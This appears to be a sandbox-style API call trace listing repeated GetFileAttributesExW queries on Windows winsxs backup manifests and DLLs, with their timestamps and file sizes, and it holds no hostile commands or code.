	[0101.291] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-sendmail_31bf3856ad364e35_6.1.7600.16385_none_c133165a6a14f67f_sendmail.dll_a8a54aff" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-sendmail_31bf3856ad364e35_6.1.7600.16385_none_c133165a6a14f67f_sendmail.dll_a8a54aff"), fInfoLevelId=0x0, lpFileInformation=0x12824c38 | out: lpFileInformation=0x12824c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e222ad4, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x58b1c04, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x58d7bed, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1
	[0101.291] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-sens-service_31bf3856ad364e35_6.1.7600.16385_none_2202c8fb0d092cab.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-sens-service_31bf3856ad364e35_6.1.7600.16385_none_2202c8fb0d092cab.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824c88 | out: lpFileInformation=0x12824c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e00df12, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf749461b, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf74ba604, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x507b)) returned 1
	[0101.291] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-sens-service_31bf3856ad364e35_6.1.7600.16385_none_2202c8fb0d092cab_sens.dll_d4c507f7" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-sens-service_31bf3856ad364e35_6.1.7600.16385_none_2202c8fb0d092cab_sens.dll_d4c507f7"), fInfoLevelId=0x0, lpFileInformation=0x12824cd8 | out: lpFileInformation=0x12824cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e00df12, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf74ba604, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf74e05ed, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xc200)) returned 1
	[0101.291] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-session0viewer_31bf3856ad364e35_6.1.7600.16385_none_483083fb94bfc714.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-session0viewer_31bf3856ad364e35_6.1.7600.16385_none_483083fb94bfc714.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824d28 | out: lpFileInformation=0x12824d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e45d76d, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xe52556a, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0xe54b641, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xc20)) returned 1
	[0101.291] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-session0viewer_31bf3856ad364e35_6.1.7600.16385_none_483083fb94bfc714_wls0wndh.dll_dbf333a5" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-session0viewer_31bf3856ad364e35_6.1.7600.16385_none_483083fb94bfc714_wls0wndh.dll_dbf333a5"), fInfoLevelId=0x0, lpFileInformation=0x12824d78 | out: lpFileInformation=0x12824d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e45d76d, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xe54b641, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0xe54b641, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x2200)) returned 1
	[0101.291] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-setupapi_31bf3856ad364e35_6.1.7601.17514_none_9d700972113e2691.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-setupapi_31bf3856ad364e35_6.1.7601.17514_none_9d700972113e2691.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824dc8 | out: lpFileInformation=0x12824dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa380b051, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf33e4b87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf33e4b87, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e63)) returned 1
	[0101.293] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-setupapi_31bf3856ad364e35_6.1.7601.17514_none_9d700972113e2691_setupapi.dll_8d9de2e7" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-setupapi_31bf3856ad364e35_6.1.7601.17514_none_9d700972113e2691_setupapi.dll_8d9de2e7"), fInfoLevelId=0x0, lpFileInformation=0x12824e18 | out: lpFileInformation=0x12824e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38311b1, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf33e4b87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3430e47, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x197200)) returned 1
	[0101.293] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-setupapi_31bf3856ad364e35_6.1.7601.17514_none_9d700972113e2691_setupapi.mof_8d9de59f" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-setupapi_31bf3856ad364e35_6.1.7601.17514_none_9d700972113e2691_setupapi.mof_8d9de59f"), fInfoLevelId=0x0, lpFileInformation=0x12824e68 | out: lpFileInformation=0x12824e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387d472, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3430e47, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3430e47, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe69)) returned 1
	[0101.293] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-setupapi_31bf3856ad364e35_6.1.7601.17514_none_9d700972113e2691_wowreg32.exe_94fc2d06" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-setupapi_31bf3856ad364e35_6.1.7601.17514_none_9d700972113e2691_wowreg32.exe_94fc2d06"), fInfoLevelId=0x0, lpFileInformation=0x12824eb8 | out: lpFileInformation=0x12824eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38ef892, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf3430e47, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf3430e47, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3800)) returned 1
	[0101.293] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-sf-capi2_31bf3856ad364e35_6.1.7600.16385_none_14b12230cd29f517.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-sf-capi2_31bf3856ad364e35_6.1.7600.16385_none_14b12230cd29f517.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824f08 | out: lpFileInformation=0x12824f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1deb7783, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xedad232f, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xedb1e301, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xeea)) returned 1
	[0101.293] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-shell32_31bf3856ad364e35_6.1.7601.17514_none_d4a3da9f5cfc39fb.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-shell32_31bf3856ad364e35_6.1.7601.17514_none_d4a3da9f5cfc39fb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824f58 | out: lpFileInformation=0x12824f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9510c94, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf71c87f9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf7214ab9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1018c4)) returned 1
	[0101.293] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-shell32_31bf3856ad364e35_6.1.7601.17514_none_d4a3da9f5cfc39fb_shell32.dll_0d29dca9" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-shell32_31bf3856ad364e35_6.1.7601.17514_none_d4a3da9f5cfc39fb_shell32.dll_0d29dca9"), fInfoLevelId=0x0, lpFileInformation=0x12824fa8 | out: lpFileInformation=0x12824fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9536df4, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf7214ab9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf736b71c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc46a00)) returned 1
	[0101.293] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-smartcardsubsystem_31bf3856ad364e35_6.1.7600.16385_none_7e46db9db804b104.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-smartcardsubsystem_31bf3856ad364e35_6.1.7600.16385_none_7e46db9db804b104.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12824ff8 | out: lpFileInformation=0x12824ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de916ac, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xec786edd, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xec786edd, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x5d49)) returned 1
	[0101.294] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-smartcardsubsystem_31bf3856ad364e35_6.1.7600.16385_none_7e46db9db804b104_scarddlg.dll_b3dbecec" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-smartcardsubsystem_31bf3856ad364e35_6.1.7600.16385_none_7e46db9db804b104_scarddlg.dll_b3dbecec"), fInfoLevelId=0x0, lpFileInformation=0x12825048 | out: lpFileInformation=0x12825048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de916ac, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xec7acec6, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xec7d2eaf, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x10200)) returned 1
	[0101.294] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-smss_31bf3856ad364e35_6.1.7600.16385_none_128443f66743685c.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-smss_31bf3856ad364e35_6.1.7600.16385_none_128443f66743685c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825098 | out: lpFileInformation=0x12825098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dada1ad, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xd1d930b7, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xd1db90a0, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x20ed)) returned 1
	[0101.294] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-smss_31bf3856ad364e35_6.1.7600.16385_none_128443f66743685c_apisetschema.dll_d4a833e3" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-smss_31bf3856ad364e35_6.1.7600.16385_none_128443f66743685c_apisetschema.dll_d4a833e3"), fInfoLevelId=0x0, lpFileInformation=0x128250e8 | out: lpFileInformation=0x128250e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dada1ad, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xd1ddf089, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xd1e2b05b, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00)) returned 1
	[0101.294] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-sxssrv_31bf3856ad364e35_6.1.7600.16385_none_c6cf7567054ebe9d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-sxssrv_31bf3856ad364e35_6.1.7600.16385_none_c6cf7567054ebe9d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825138 | out: lpFileInformation=0x12825138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d983a1e, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc78d5471, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xc78fb45a, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x421)) returned 1
	[0101.294] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-syssetup_31bf3856ad364e35_6.1.7601.17514_none_d94b3b8ee2b71796.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-syssetup_31bf3856ad364e35_6.1.7601.17514_none_d94b3b8ee2b71796.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825188 | out: lpFileInformation=0x12825188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b8144b, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf43117e3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf43117e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8c8)) returned 1
	[0101.294] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-syssetup_31bf3856ad364e35_6.1.7601.17514_none_d94b3b8ee2b71796_syssetup.dll_d4039292" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-syssetup_31bf3856ad364e35_6.1.7601.17514_none_d94b3b8ee2b71796_syssetup.dll_d4039292"), fInfoLevelId=0x0, lpFileInformation=0x128251d8 | out: lpFileInformation=0x128251d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ba75ab, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf43117e3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf4337943, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a00)) returned 1
	[0101.294] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-uianimation_31bf3856ad364e35_6.1.7600.16385_none_f1c6a5a3bdadd6a0.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-uianimation_31bf3856ad364e35_6.1.7600.16385_none_f1c6a5a3bdadd6a0.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825228 | out: lpFileInformation=0x12825228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df29a08, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf26a9546, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf26a9546, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x25cd)) returned 1
	[0101.295] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-uianimation_31bf3856ad364e35_6.1.7600.16385_none_f1c6a5a3bdadd6a0_uianimation.dll_c3b017b4" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-uianimation_31bf3856ad364e35_6.1.7600.16385_none_f1c6a5a3bdadd6a0_uianimation.dll_c3b017b4"), fInfoLevelId=0x0, lpFileInformation=0x12825278 | out: lpFileInformation=0x12825278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df29a08, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf26a9546, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf26f5518, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x18400)) returned 1
	[0101.295] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-uiribbon_31bf3856ad364e35_6.1.7601.17514_none_db578bdb5e3559c6.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-uiribbon_31bf3856ad364e35_6.1.7601.17514_none_db578bdb5e3559c6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128252c8 | out: lpFileInformation=0x128252c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0e46ddb, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf587de0a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf587de0a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d8d)) returned 1
	[0101.295] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-uiribbon_31bf3856ad364e35_6.1.7601.17514_none_db578bdb5e3559c6_uiribbon.dll_8a707982" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-uiribbon_31bf3856ad364e35_6.1.7601.17514_none_db578bdb5e3559c6_uiribbon.dll_8a707982"), fInfoLevelId=0x0, lpFileInformation=0x12825318 | out: lpFileInformation=0x12825318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0e9309c, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf587de0a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf58ca0cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2d8600)) returned 1
	[0101.295] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-uiribbon_31bf3856ad364e35_6.1.7601.17514_none_db578bdb5e3559c6_uiribbonres.dll_b1ad5a7c" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-uiribbon_31bf3856ad364e35_6.1.7601.17514_none_db578bdb5e3559c6_uiribbonres.dll_b1ad5a7c"), fInfoLevelId=0x0, lpFileInformation=0x12825368 | out: lpFileInformation=0x12825368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb91fc, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf58ca0cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf58f022b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11c600)) returned 1
	[0101.295] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-unimodem-core_31bf3856ad364e35_6.1.7600.16385_none_fae1cec5229fb80c.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-unimodem-core_31bf3856ad364e35_6.1.7600.16385_none_fae1cec5229fb80c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128253b8 | out: lpFileInformation=0x128253b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de454fe, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xebc195c8, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xebc6559a, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x9fc)) returned 1
	[0101.295] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-unimodem-core_31bf3856ad364e35_6.1.7600.16385_none_fae1cec5229fb80c_uniplat.dll_290fd479" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-unimodem-core_31bf3856ad364e35_6.1.7600.16385_none_fae1cec5229fb80c_uniplat.dll_290fd479"), fInfoLevelId=0x0, lpFileInformation=0x12825408 | out: lpFileInformation=0x12825408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de454fe, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xebc6559a, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xebc8b583, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x4200)) returned 1
	[0101.295] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-user32.resources_31bf3856ad364e35_6.1.7601.17514_en-us_a678a78b761d8649.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-user32.resources_31bf3856ad364e35_6.1.7601.17514_en-us_a678a78b761d8649.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825458 | out: lpFileInformation=0x12825458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1edd50dc, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1af0f69f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1af0f69f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x954)) returned 1
	[0101.296] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-user32.resources_31bf3856ad364e35_6.1.7601.17514_en-us_a678a78b761d8649_user32.dll.mui_14652dbb" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-user32.resources_31bf3856ad364e35_6.1.7601.17514_en-us_a678a78b761d8649_user32.dll.mui_14652dbb"), fInfoLevelId=0x0, lpFileInformation=0x128254a8 | out: lpFileInformation=0x128254a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1edd50dc, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1af0f69f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1af0f69f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600)) returned 1
	[0101.296] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-user32_31bf3856ad364e35_6.1.7601.17514_none_35b31c02b85ccb6e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-user32_31bf3856ad364e35_6.1.7601.17514_none_35b31c02b85ccb6e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128254f8 | out: lpFileInformation=0x128254f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0402ee8, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf57271a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf574d308, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xab7)) returned 1
	[0101.296] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-user32_31bf3856ad364e35_6.1.7601.17514_none_35b31c02b85ccb6e_user32.dll_55f4ed20" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-user32_31bf3856ad364e35_6.1.7601.17514_none_35b31c02b85ccb6e_user32.dll_55f4ed20"), fInfoLevelId=0x0, lpFileInformation=0x12825548 | out: lpFileInformation=0x12825548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb044f1a9, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf574d308, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf5773468, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcb600)) returned 1
	[0101.296] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-usermodensi_31bf3856ad364e35_6.1.7600.16385_none_d8abbed91585a944.manifest" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-usermodensi_31bf3856ad364e35_6.1.7600.16385_none_d8abbed91585a944.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12825598 | out: lpFileInformation=0x12825598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d8eb6c2, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc2a783e1, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xc2a9e3ca, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x1252)) returned 1
	[0101.296] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-usermodensi_31bf3856ad364e35_6.1.7600.16385_none_d8abbed91585a944_nsi.dll_e72df756" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-usermodensi_31bf3856ad364e35_6.1.7600.16385_none_d8abbed91585a944_nsi.dll_e72df756"), fInfoLevelId=0x0, lpFileInformation=0x128255e8 | out: lpFileInformation=0x128255e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d8eb6c2, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc2ac43b3, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xc2aea39c, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x2200)) returned 1
	[0101.296] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\wow64_microsoft-windows-usermodensi_31bf3856ad364e35_6.1.7600.16385_none_d8abbed91585a944_winnsi.dll_53ccebf2" (normalized: "c:\\windows\\winsxs\\backup\\wow64_microsoft-windows-usermodensi_31bf3856ad364e35_6.1.7600.16385_none_d8abbed91585a944_winnsi.dll_53ccebf2"), fInfoLevelId=0x0, lpFileInformation=0x12825638 | out: lpFileInformation=0x12825638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d8eb6c2, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xc2a9e3ca, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xc2ac43b3, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x4200)) returned 1
